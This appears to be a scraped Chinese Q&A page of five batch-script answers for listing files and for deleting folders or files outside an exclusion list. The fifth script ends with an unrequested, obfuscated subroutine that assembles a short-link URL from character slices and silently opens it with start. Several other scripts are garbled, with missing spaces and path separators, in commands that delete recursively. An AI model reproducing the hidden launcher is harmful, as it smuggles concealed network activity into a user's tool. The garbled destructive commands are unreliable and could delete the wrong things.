『壹』 BAT查找当前目录下某个后缀的文件,但排除查找某个文件夹
用find 筛选
如
SET"排除目录=文件夹C"
FOR/F"delims="%%iIN(`DIR/s/b*.hex^|find/v"%cd%\%排除目录%"`)DO(
echo,%%i
)
『贰』 如何通过bat程序将指定路径下的文件夹全部删除
随着科技的发展,电脑已经成为人们日常生活中必不可少的工具,当我们想要删除指定路径下的全部文件夹时,可以使用bat程序来完成,接下来就由小编来告诉大家如何操作。
具体如下:1.第一步,打开电脑后鼠标右键点击空白处,在弹出菜单中选择新建功能,随后点击二级菜单中的文本文档选项。
2. 第二步,进入空白的文档页面后,在下方输入以下内容:
@echo off
rd/s/qC:UsersxiaoergeDesktop新建文件夹。
3.第三步,点击另存为按钮后将该文本设置为删除文件.bat,随后点击下方的保存按钮。
以上就是小编为大家带来的使用bat删除指定路径下的全部文件夹的方法。
『叁』 bat处理除了指定名称文件夹,其他的文件夹都删除
@echooff
::设置要保留的文件夹名,多个文件夹之间用英文逗号隔开,如果包含空格或英文逗号,英文&以及其它一些特殊字符的名字,请把该完整名字用英文双引号括起来
setSaveName=001,002,003,004
::设置文件夹处理目录
setDirPath=E:Test
(for%%ain(%SaveName%)doecho%%~a)>"%tmp%Save.List"
cd/d"%DirPath%"
for/d%%ain(*)do(
findstr/bei"%%~nxa""%tmp%Save.List">nul2>nul||rd/s/q"%%~a"
)
pause
手机编写,尚未尝试,请另外准备一些文件夹测试一下,通过后再去实际文件夹中执行。
『肆』 如何用bat命令清空文件夹就是删除某个文件夹下所有内容 包括文件和文件夹
@echo off
del /s /q /a R:\Cache
::如果要完全后台执行需要用Bat To Exe Converter、Quick Batch File Compiler这种bat转exe转换,在设置中设置“后台运行”(Quick Batch File Compiler为”鬼程序“、”幽灵程序“等)即可。就算用vbs隐藏了窗口也照样会显示出一瞬间的。
『伍』 bat命求助,如何删除文件夹和子文件夹中某个类型以外的所有文件。
@echo off & title 删除指定格式外的文件 By 依梦琴瑶
cd /d "%~dp0"
::设置要排除的文件格式,多个格式之间使用英文逗号隔开
set Ext=txt
for /f "delims=" %%a in ('dir /a-d/s/b') do (
if /i not "%%~a"=="%~f0" (
set "Skip="
for %%i in (%Ext%) do (
if /i ".%%~i"=="%%~xa" (
set Skip=OK
)
)
if not defined Skip (
del /f /q "%%~a"
)
)
)
pause
call :DoIt
exit
:DoIt
set "S1=.:ailnhpst/"
set "S0=fPdv"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit